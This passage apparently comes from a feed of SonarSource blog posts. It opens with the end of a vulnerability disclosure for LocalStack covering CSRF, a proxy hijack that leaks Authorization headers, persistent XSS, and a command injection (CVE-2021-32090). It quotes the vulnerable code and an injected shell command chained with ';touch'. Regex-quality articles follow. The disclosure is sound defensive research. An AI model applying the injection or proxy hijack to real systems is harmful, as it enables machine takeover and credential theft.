the victim’s local network via JavaScript code (&lt;em&gt;Cross-Site Request Forgery&lt;/em&gt; - CSRF).&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/d936195d-8621-470a-b4c9-36121e7abc8a/body-8eb9253e-b34b-481e-9aec-afe7da26afc1_local_stack_info1.png&quot; /&gt;&lt;p&gt;This way, an attacker can send arbitrary requests from a website to a LocalStack instance but cannot read the respective responses. This is prevented by the &lt;em&gt;cross-origin resource sharing&lt;/em&gt; (CORS) mechanism in the browser. However, merely sending requests to the vulnerable application - even without being able to read the responses - is sufficient to carry out a successful attack via CSFR. The attacker blindly sends the attack payload and hopes that the vulnerable application is reached.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Moreover, LocalStack explicitly allows the execution of cross-origin requests through any page by setting special HTTP headers in the response. This means that the attacker can detect and attack a LocalStack instance through the XHR response and does not actually operate blindly.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;access-control-allow-origin: *
access-control-allow-methods: HEAD,GET,PUT,POST,DELETE,OPTIONS,PATCH
access-control-allow-headers: authorization,content-type,content-md5,cache-control,x-amz-content-sha256,x-amz-date,x-amz-security-token,x-amz-user-agent,x-amz-target,x-amz-acl,x-amz-version-id,x-localstack-target,x-amz-tagging
access-control-expose-headers: x-amz-version-id&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Note that modern browsers have recently further restricted cross-origin requests to reduce the potential of CSRF attacks. However, we also found a Cross-Site Scripting (XSS) vulnerability in LocalStack which allows an attacker to bypass these protections.&lt;/p&gt;&lt;h3&gt;Adding a MITM Backdoor&lt;/h3&gt;&lt;p&gt;In LocalStack, different APIs are run in local isolated processes that each have their own port. All user requests are forwarded to the respective API via a central &lt;em&gt;edge router&lt;/em&gt;. For this router it is possible to configure a proxy via the LocalStack settings.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As described previously, an attacker can send arbitrary HTTP requests to LocalStack via CSRF and thereby modify the LocalStack configuration. The CSRF attack’s payload can reconfigure the edge router and add a proxy to it that points to an attacker-controlled IP as proxy host. This way, the user requests are no longer processed &lt;em&gt;locally &lt;/em&gt;but are now forwarded to the attacker’s IP address. Let’s have a look at the corresponding source code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;localstack/services/edge.py&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;88    def do_forward_request(api, port, method, path, data, headers):
89        if config.FORWARD_EDGE_INMEM:
90            result = do_forward_request_inmem(api, port, method, path, data, headers)
91        else:
92            result = do_forward_request_network(port, method, path, data, headers)
93        if hasattr(result, &apos;status_code&apos;) and result.status_code &gt;= 400 and method == &apos;OPTIONS&apos;:
94            # fall back to successful response for OPTIONS requests
95            return 200
96        return result&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;localstack/services/edge.py&lt;/em&gt;&lt;/p&gt;&lt;p&gt;The function &lt;code&gt;do_forward_request()&lt;/code&gt; is executed every time a request is sent to the edge router of LocalStack. In line 89 it is checked if the config entry &lt;code&gt;FORWARD_EDGE_INMEM&lt;/code&gt; is set. In this case, the request is processed locally, otherwise the request is forwarded to the network. Because an attacker can set &lt;code&gt;FORWARD_EDGE_INMEM&lt;/code&gt; to &lt;em&gt;False&lt;/em&gt; via a CSRF attack, we reach line 92 every time. Consequently, all requests to the edge router are processed by the function &lt;code&gt;do_foward_request_network()&lt;/code&gt;. Also, the HTTP responses of the respective requests are printed without sanitization.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;localstack/services/edge.py&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;112    def do_forward_request_network(port, method, path, data, headers):
113        connect_host = &apos;%s:%s&apos; % (config.HOSTNAME, port)
114        url = &apos;%s://%s%s&apos; % (get_service_protocol(), connect_host, path)
115        function = getattr(requests, method.lower())
116        response = function(url, data=data, headers=headers, verify=False, stream=True)
117        return response&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;localstack/services/edge.py&lt;/em&gt;&lt;/p&gt;&lt;p&gt;In line 113, the &lt;code&gt;HOSTNAME&lt;/code&gt; that is used for the forwarded request is read from the configuration. Since an attacker can configure the &lt;code&gt;HOSTNAME&lt;/code&gt;&lt;strong&gt; &lt;/strong&gt;via CSRF attack, this host is now an attacker-controlled IP. In the following lines the request is constructed and in line 116 the request is executed which leads to a (persistent) SSRF vulnerability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;An interesting point about this feature is that the server copies the entire HTTP request from the client and forwards it to the server. This also means that the HTTP headers of the client are sent to the attacker-controlled server, including the Authorization header. This header is used for authentication in the AWS Cloud which can lead to session hijacking and stealing sensitive data from the test cloud.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As an attacker we can now go even one step further. As mentioned above, the HTTP response of the SSRF request is printed unsanitized in LocalStack. In other words, the attacker can send an XSS payload as a response via his controlled server which leads to a (persistent) Cross-Site Scripting vulnerability in LocalStack. With this, the attacker has installed a persistent man-in-the-middle proxy in LocalStack that controls every HTTP request and response of the LocalStack instance. This enables abuse of further features and to trigger other code vulnerabilities.&lt;/p&gt;&lt;h3&gt;Command Injection Vulnerability (CVE-2021-32090)&lt;/h3&gt;&lt;p&gt;One possible way to go further is to exploit vulnerabilities in the LocalStack dashboard. When it is active, an attacker can permanently infiltrate the system and compromise the developer’s machine via a Command Injection vulnerability. Let’s have a look at the affected code lines.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;localstack/dashboard/infra.py&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;85    @app.route(&apos;/lambda/&lt;functionName&gt;/code&apos;, methods=[&apos;POST&apos;])
86    def get_lambda_code(functionName):
...
98        result = infra.get_lambda_code(func_name=functionName, env=env)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;localstack/dashboard/infra.py&lt;/em&gt;&lt;/p&gt;&lt;p&gt;In line 85 the route is defined that calls the &lt;code&gt;get_lambda_code()&lt;/code&gt; function in line 86. Here, the parameter &lt;code&gt;functionName&lt;/code&gt; is passed to the &lt;code&gt;get_lambda_code()&lt;/code&gt; function via the path of the route. Then, in line 98, this function is executed with the user controlled input.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;localstack/dashboard/infra.py&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;258    def get_lambda_code(func_name, retries=1, cache_time=None, env=None):
...
264        out = cmd_lambda(&apos;get-function --function-name %s&apos; % func_name, env, cache_time)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;localstack/dashboard/infra.py&lt;/em&gt;&lt;/p&gt;&lt;p&gt;In line 264, the user-controlled input &lt;code&gt;func_name&lt;/code&gt; is concatenated into a system command using a format string. Without any sanitization it is passed to the &lt;code&gt;cmd_lambda()&lt;/code&gt; function. When we follow the user controlled input via further functions, we end up in the &lt;code&gt;run()&lt;/code&gt; function. This &lt;em&gt;data flow analysis&lt;/em&gt; is exactly what our security analyzers automate for you (&lt;a href=&quot;https://sonarcloud.io/project/issues?id=SonarSourceResearch_localstack&amp;open=AXXIAYcqSjg9uZPLRNpy&amp;resolved=false&amp;sonarsourceSecurity=command-injection&amp;types=VULNERABILITY&quot;&gt;open issue on SonarCloud&lt;/a&gt;).&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/a9b2c609-0e0a-4596-ae44-d7cf9c65938d/body-38d284ff-0ecd-404f-b1fa-c56332cf72b4_localstack_on_sonarcloud.png&quot; /&gt;&lt;p&gt;&lt;strong&gt;localstack/utils/bootstrap.py&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;596    def run(cmd, print_error=True, stderr=subprocess.STDOUT, env_vars=None, inherit_cwd=False, inherit_env=True):
...
613        output = subprocess.check_output(cmd, shell=True, stderr=stderr, env=env_dict, cwd=cwd)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;localstack/utils/bootstrap.py&lt;/em&gt;&lt;/p&gt;&lt;p&gt;In line 613, the shell command is finally executed via &lt;code&gt;subprocess.check_output()&lt;/code&gt;. Here, the &lt;code&gt;cmd&lt;/code&gt; parameter contains the user-controlled input that ends up unsanitized in a system command. This leads to a Command Injection vulnerability since the attacker can terminate the original command and execute his own. For example, after a Command Injection, the final &lt;code&gt;cmd&lt;/code&gt; parameter in line 613 can look like the following to create a new file on the system:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;cmd =  { test `which aws` || . .venv/bin/activate; }; aws lambda get-function --function-name test;touch sonarsource.txt&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this blog post we analyzed two code vulnerabilities found in the latest &lt;strong&gt;LocalStack (0.12.6)&lt;/strong&gt;, a widely used Python application. We outlined how local applications can be attacked remotely, and how the combination of these vulnerabilities can lead to a complete takeover of a LocalStack.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We reported these vulnerabilities to the vendor in October 2020. After reaching out a couple of more times, we received notice in January that these threats are not considered a key concern since LocalStack is executed on a local machine. While we agree that real-world attacks against local instances are less likely than against directly exposed applications, we believe that developers should be aware of these risks in order to protect their setups and to write secure code for their own applications.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Crafting regexes to avoid stack overflows]]></title><description><![CDATA[Due to the way regular expression matching is implemented in Java (and many other languages/libraries), matching a pattern may - depending on the regex - require stack space proportional to the length of the input. This means large inputs could cause the program to crash with a `StackOverflowException` when you try to use the regex.]]></description><link>https://www.sonarsource.com/blog/crafting-regexes-to-avoid-stack-overflows</link><guid isPermaLink="false">9b9fefef-a6ca-5adf-8d6a-706e36bff1af</guid><dc:creator><![CDATA[Sebastian Hungerecker]]></dc:creator><pubDate>Tue, 23 Feb 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We&amp;#x27;ve been working recently on adding rules to help write better regular expressions in Java. I&amp;#x27;ve talked already about rules to &lt;a href=&quot;https://blog.sonarsource.com/regular-expressions-present-challenges&quot;&gt;find errors in character classes&lt;/a&gt; and with &lt;a href=&quot;https://blog.sonarsource.com/setting-the-right-regex-boundaries-is-important&quot;&gt;the use of boundary markers and overly complex regular expressions&lt;/a&gt;. Those rules help you make sure your regular expressions are accurate and maintainable. Today I will show you how to make sure that the regular expression won’t crash your program. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As a brief reminder: regular expressions are a terse and powerful mechanism for matching patterns in strings. Part of the power of regular expressions is that a pattern can concisely describe a string that might be much larger than the original pattern. Sometimes much, much larger. Sometimes enough to overflow the stack and crash your application.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Due to the way regular expression matching is implemented in Java (and many other languages/libraries), matching a pattern may - depending on the regex - require stack space proportional to the length of the input. This means large inputs could cause the program to crash with a &lt;code&gt;StackOverflowException&lt;/code&gt; when you try to use the regex.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We ran into this problem in our own code when analysis tried  to find comments containing at least one word with more than a given number of characters. For this we used a regex similar to &lt;code&gt;#(.|\n)*\w{3,}&lt;/code&gt;, which would cause the analysis to crash on source files containing sufficiently long comments. To prevent problems like this for our future selves as well as for you, dear users, we implemented a rule which can detect problems like this:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;a href=&quot;https://rules.sonarsource.com/java/tag/regex/RSPEC-5998&quot;&gt;java:S5998&lt;/a&gt; - Regular expressions should not overflow the stack&lt;/em&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/6e9d184b-9c22-4cb0-9aab-e3f575bd9a42/body-71c6b19a-5c15-4d8b-8246-ccf06f78a1cd_blog-post-regex-3-img1.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In theory any regex is susceptible to stack overflow if it contains a repetition that contains some sort of branching, such as another repetition or an alternative. However, for some regular expressions the length of input required to make them crash is much larger than for others.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To account for this, our rule tries to estimate how much stack space a regular expression will consume relative to the input size and only raises issues on regular expressions whose stack consumption exceeds a configurable threshold.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One way to avoid stack consumption in regular expressions is to use &lt;a href=&quot;https://www.regular-expressions.info/possessive.html&quot;&gt;possessive quantifiers&lt;/a&gt;. Possessive quantifiers are created by adding a &lt;code&gt;+&lt;/code&gt; to a quantifier (e.g. &lt;code&gt;x*+&lt;/code&gt; instead of &lt;code&gt;x*&lt;/code&gt;). Doing so disables &lt;a href=&quot;https://en.wikipedia.org/wiki/Backtracking&quot;&gt;backtracking&lt;/a&gt;. In addition to avoiding issues with catastrophic backtracking, making a quantifier possessive allows a pattern to be matched without consuming stack space. The problem is that sometimes backtracking is necessary and using possessive quantifiers to disable it may leave you with a regex that can never match any input.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Consider for example the regex I cited above: &lt;code&gt;#(.|\n)*\w{3,}&lt;/code&gt;: If we try to fix the stack overflow by making the quantifier possessive, we end up with &lt;code&gt;#(.|\n)*+\w{3,}&lt;/code&gt;. This regex can never match anything because any input that could be matched by &lt;code&gt;\w&lt;/code&gt; will already have been matched by &lt;code&gt;(.|\n)*+&lt;/code&gt; and, being possessive, it won’t give it back. Luckily we have a rule that warns you about issues like this:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;a href=&quot;https://rules.sonarsource.com/java/tag/regex/RSPEC-5994&quot;&gt;java:S5994&lt;/a&gt; - Regex patterns following a possessive quantifier should not always fail&lt;/em&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/20f33fb7-ceb3-4ac1-967f-574ef5962a93/body-b705172b-aa2d-4ce4-bd6a-45f955b9d60f_blog-post-regex-3-img2.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So how would one properly fix this issue? In our case, we decided to get rid of the regex altogether since there wasn’t really a good reason to use a regex here. But the regex could also be salvaged easily enough by getting rid of the alternation. The intent of &lt;code&gt;.|\n&lt;/code&gt; was to match any character, including line breaks, because &lt;code&gt;.&lt;/code&gt; does not match line breaks by default. The proper way to match any character would be to enable the &lt;code&gt;DOTALL&lt;/code&gt; flag, which can also be enabled from within the regex using &lt;code&gt;(?s)&lt;/code&gt;. So either &lt;code&gt;Pattern.compile(“#.*\\w{3,}”, Pattern.DOTALL)&lt;/code&gt; or &lt;code&gt;”(?s)#.*\\{3,}”&lt;/code&gt; would work (the latter of which also works when using methods that don’t involve &lt;code&gt;Pattern.compile&lt;/code&gt;).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Another regex susceptible to stack overflows would be something as simple as &lt;code&gt;(a|b)*&lt;/code&gt;. Here the alternation can be removed by using a character class instead, which doesn’t require stack space to match: &lt;code&gt;[ab]*&lt;/code&gt;. Luckily we have a rule that finds alternations that can be replaced by character classes and suggests just that replacement like in the following &lt;a href=&quot;https://github.com/spring-projects/spring-boot/&quot;&gt;Spring Boot&lt;/a&gt; code:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;a href=&quot;https://rules.sonarsource.com/java/tag/regex/RSPEC-6035&quot;&gt;java:S6035&lt;/a&gt; - Single-character alternations in regular expressions should be replaced with character classes&lt;/em&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/53c4e819-2699-4aa9-9871-9edf4a659c7c/body-7e9e40c3-5533-46f8-8ecf-d6bb0dfd862e_blog-post-regex-3-img3.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Regular expressions are a truly powerful feature. Because great power comes with great responsibility (and great opportunities for screwing things up, or confusing your colleagues and future-you), we now offer a total of 24 rules targeting regular expressions. They are all available today in SonarCloud. These three rules around avoiding stack overflows are available starting from SonarQube 8.7, but the rest are already released. You can see them all at &lt;a href=&quot;https://rules.sonarsource.com/java/tag/regex&quot;&gt;rules.sonarsource.com&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Finally, note that some of the rules perform in-depth automata-based analyses on your regular expressions to identify issues as accurately as possible. This is an extremely promising approach and we will probably discuss this feature in a future blog post, because we truly believe it’s amazing. This will for sure bring A LOT to regex code quality in general, so stay tuned!&lt;/p&gt;&lt;p&gt;---&lt;/p&gt;&lt;p&gt;This is the third installment in a series on what can go wrong in writing Regular Expressions:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/regular-expressions-present-challenges&quot;&gt;Regular expressions present challenges even for not-so-regular developers&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/setting-the-right-regex-boundaries-is-important&quot;&gt;Setting the right (regex) boundaries is important&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/crafting-regexes-to-avoid-stack-overflows&quot;&gt;Crafting regexes to avoid stack overflows&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;em&gt;Something to add? &lt;a href=&quot;https://community.sonarsource.com/t/blog-post-crafting-regexes-to-avoid-stack-overflows/39054&quot;&gt;Join us in the community&lt;/a&gt;!&lt;/em&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Setting the right (regex) boundaries is important]]></title><description><![CDATA[Regular expressions pack a lot of power into terse little packages and unfortunately that introduces a lot of room for error. This post talks about regex boundaries, another feature that can lead to bugs when used incorrectly, and a rule of ours that can help you avoid such issues. it also covers about complexity and maintainability in regular expressions and our rule to help you find regular expressions that are too complex.]]></description><link>https://www.sonarsource.com/blog/setting-the-right-regex-boundaries-is-important</link><guid isPermaLink="false">64cd2686-5723-563c-b2f4-a3e01f9b4abb</guid><dc:creator><![CDATA[Sebastian Hungerecker]]></dc:creator><pubDate>Tue, 16 Feb 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We&amp;#x27;ve been working recently on writing rules for detecting errors in regular expressions in Java code. Regular expressions are a common feature of modern programming languages, and it&amp;#x27;s easy to take them for granted. By their very nature they pack a lot of power into terse little packages and unfortunately that introduces a lot of room for error. &lt;a href=&quot;https://blog.sonarsource.com/regular-expressions-present-challenges&quot;&gt;In my last post&lt;/a&gt; I talked about the kinds of errors our newly implemented rule about character classes found in open source code. Today, I’ll talk about boundaries, another regex feature that can lead to bugs when used incorrectly, and a rule of ours that can help you avoid such issues. I’ll also talk about complexity and maintainability in regular expressions and our rule that can help you find regular expressions that are too complex.&lt;/p&gt;&lt;h1&gt;Boundaries&lt;/h1&gt;&lt;p&gt;Boundary markers such as &lt;code&gt;^&lt;/code&gt; and &lt;code&gt;$&lt;/code&gt; allow you to anchor the regex pattern to the beginning and end of the line (or string depending on which flags you use) respectively. This means that when you want to match a literal &lt;code&gt;^&lt;/code&gt; or &lt;code&gt;$&lt;/code&gt;, you need to escape these special characters with a backslash.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;And if you fail to escape ^ or $ then you may end up with a pattern that doesn&amp;#x27;t match anything at all. In order to detect such problems, we offer a rule (&lt;a href=&quot;https://rules.sonarsource.com/java/tag/regex/RSPEC-5996&quot;&gt;java:S5996&lt;/a&gt; - &lt;em&gt;Regex boundaries should not be used in a way that can never be matched&lt;/em&gt;) pointing out cases where a boundary is used in a way such that it can never produce a successful match. Here’s one example of this problem that we found while checking code on GitHub:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Pattern.compile(&quot;^[a-zA-Z][a-zA-Z0-9_.][@.](!#$%&amp;*()-+=^){8,30}$&quot;)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/razbasnet1992/Java1.8-Features/blob/71b96af24fee9efb68e442583ed56ed54ed2aeb0/src/com/java8/password/UserPassword.java#L11&quot;&gt;Source (UserPassword.java)&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Another case where this rule applies is if you use an end-of-line/string boundary at the beginning or a beginning-of-line/string at the end. This could be a case of confusing the meaning of ^ and $ :&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Pattern.compile(&quot;.*A^&quot;)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/querydsl/querydsl/blob/1bbf5be9258725b8b48bb1128cdc078af86880c7/querydsl-mongodb/src/test/java/com/querydsl/mongodb/document/MongodbDocumentSerializerTest.java#L234&quot;&gt;Source (MongodbDocumentSerializerTest.java)&lt;/a&gt;&lt;/p&gt;&lt;h1&gt;Complexity&lt;/h1&gt;&lt;p&gt;Regular expressions are powerful and often terse. Unfortunately, that terseness often makes them hard to read and understand for your teammates, for readers of your code and even for your future self. Ultimately, they often become a maintainability nightmare. Consider for example the following regex for matching dates:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&quot;^(?:(?:31(\\/|-|\\.)(?:0?[13578]|1[02]))\\1|(?:(?:29|30)(\\/|-|\\.)(?:0?[13-9]|1[0-2])\\2))(?:(?:1[6-9]|[2-9]\\d)?\\d{2})$|^(?:29(\\/|-|\\.)0?2\\3(?:(?:(?:1[6-9]|[2-9]\\d)?(?:0[48]|[2468][048]|[13579][26])|(?:(?:16|[2468][048]|[3579][26])00))))$|^(?:0?[1-9]|1\\d|2[0-8])(\\/|-|\\.)(?:(?:0?[1-9])|(?:1[0-2]))\\4(?:(?:1[6-9]|[2-9]\\d)?\\d{2})$&quot;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Can you tell what kinds of dates would be matched by this?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Would you easily be able to add additional types of dates to it or remove types?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Me neither.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Another example, one might say &lt;em&gt;the&lt;/em&gt; example, of a complicated regex is one that is commonly used to match email addresses, which can be found &lt;a href=&quot;https://www.ex-parrot.com/pdw/Mail-RFC822-Address.html&quot;&gt;here&lt;/a&gt; (and you’ll see lots of versions of it flying around on the internet). I won’t include it in this blog post for space reasons, but it’s more than 6,000(!) characters long. And perhaps the worst part is that we’ve been guilty of using this regex internally.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To us, reusing an overly complicated regex without understanding it sounds like a trap. Whether it works or not may depend on your situation, including which email addresses you want to consider valid and which invalid. For example if you wanted to write an email to yourself at your local mail server, the mail application shouldn&amp;#x27;t stop you from addressing the mail to `host@localhost` (a.k.a. Local Host), but when validating email addresses for a web form, you might want to restrict addresses to non-local domains. Now there probably aren’t many people who would be able to tell whether the &amp;quot;standard&amp;quot; email regex would accept `host@localhost` or not by just looking at the code. And certainly it would be a decidedly non-trivial engineering effort to change it to not accept an &lt;code&gt;@localhost&lt;/code&gt; address if it does (or vice-versa).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To help you keep track of complicated regular expressions you’re using, SonarQube, SonarCloud and SonarLint offer a dedicated rule for finding regular expressions with complexity that exceeds a configurable threshold: &lt;a href=&quot;https://rules.sonarsource.com/java/tag/regex/RSPEC-5843&quot;&gt;java:S5843&lt;/a&gt; - &lt;em&gt;Regular expressions should not be too complicated&lt;/em&gt;. This rule is inspired by the &lt;a href=&quot;https://www.sonarsource.com/resources/white-papers/cognitive-complexity.html&quot;&gt;cognitive complexity&lt;/a&gt; concept, developed by SonarSource, and takes into account how all the regex operators, combined with each other, raise the complexity of a given regex. Here’s what it says about the date regex from above:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/47f1b65e-ba12-4208-bab9-df7f9e1e0864/body-7eed4f98-9874-4bcc-af3f-8bdee735ac2b_complexity.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Now what makes this regex so complicated? The fact that it verifies that the date doesn’t just fit the general format of a date, but is a valid date to the point that it only allows the 29th of February if the year is a leap year. In this case it’d be preferable to use a simpler regex to only match the general format and then write a plain Java method to check that the numbers make sense and whether it’s a leap year. An even better solution would be to delegate that logic to a dedicated library, and use it from there.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When you find yourself in the process of writing (or reusing) such a complicated regex, you should first ask yourself whether you couldn’t easily solve the problem without using regular expressions at all. The next best option is using a combination of multiple simpler regular expressions applied in chain, one after another (such as first using one regex to split the input string and then using others to process each part of the string). If that’s not possible, try to split the regex into multiple parts and document each part or at least assign it to a variable with a meaningful name.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Then, once you’ve gotten your regular expression(s) down to a manageable size, the rules for specific features like character classes and boundary markers can help you make sure your pattern matches what you think it does.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At that point, with complexity and accuracy handled, you&amp;#x27;re nearly done. All that&amp;#x27;s left to worry about is stability - as in the stability of your application. That&amp;#x27;s right, a regex gone bad can bring down your application. So next time, I&amp;#x27;ll talk about the humble regex&amp;#x27;s potential for stack overflows, and what we&amp;#x27;ve done to help you prevent it.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;---&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is the second installment in a series on what can go wrong in writing Regular Expressions:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/regular-expressions-present-challenges&quot;&gt;Regular expressions present challenges even for not-so-regular developers&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/setting-the-right-regex-boundaries-is-important&quot;&gt;Setting the right (regex) boundaries is important&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/crafting-regexes-to-avoid-stack-overflows&quot;&gt;Crafting regexes to avoid stack overflows&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;em&gt;Something to add? &lt;a href=&quot;https://community.sonarsource.com/t/blog-post-setting-the-right-regex-boundaries-is-important/38634&quot;&gt;Join us in the community!&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Regular expressions present challenges even for not-so-regular developers]]></title><description><![CDATA[Regular expressions are a concise and powerful tool for processing text. However, they also come with a steep learning curve and plenty of opportunities to make mistakes. This is the first in a series of posts about some specific regex pitfalls.]]></description><link>https://www.sonarsource.com/blog/regular-expressions-present-challenges</link><guid isPermaLink="false">bdfdfb1e-1baa-5b40-a6a3-8fecd399e6f6</guid><dc:creator><![CDATA[Sebastian Hungerecker]]></dc:creator><pubDate>Tue, 09 Feb 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Regular expressions are a concise and powerful tool for processing text. However, they also come with a steep learning curve and plenty of opportunities to make mistakes.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is the first in a series of posts about some specific pitfalls of Java regular expressions that can lead to bugs, code that’s hard to understand, or worse: code that could crash your application. In this series we will give you some examples of issues in real code caused by these pitfalls, and discuss strategies (and rules!) for writing better, more readable and maintainable regular expressions. In this post I’ll start with pitfalls related to a very common feature of regular expressions: character classes.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Note that writing this blog post has been made possible thanks to the group effort of the whole SonarSource Java analysis team. Transforming our initial ideas into such features is a great collective achievement, which I’ll now share with you, speaking for the team!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Character classes allow the regex engine to match only one out of several characters. For instance:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;The character class &lt;code&gt;[xy]&lt;/code&gt; can match either an &lt;code&gt;x&lt;/code&gt; or a &lt;code&gt;y&lt;/code&gt;.&lt;/li&gt;&lt;li&gt;You can also use ranges inside character classes: &lt;code&gt;[e-p]&lt;/code&gt; matches any character between &lt;code&gt;e&lt;/code&gt; and &lt;code&gt;p&lt;/code&gt;.&lt;/li&gt;&lt;li&gt;You can inverse or negate character classes with &lt;code&gt;^&lt;/code&gt;: By starting the character class with a single &lt;code&gt;^ &lt;/code&gt;you negate everything that follows in the class. So &lt;code&gt;[^a-z]&lt;/code&gt; matches anything that&amp;#x27;s not a lowercase ASCII 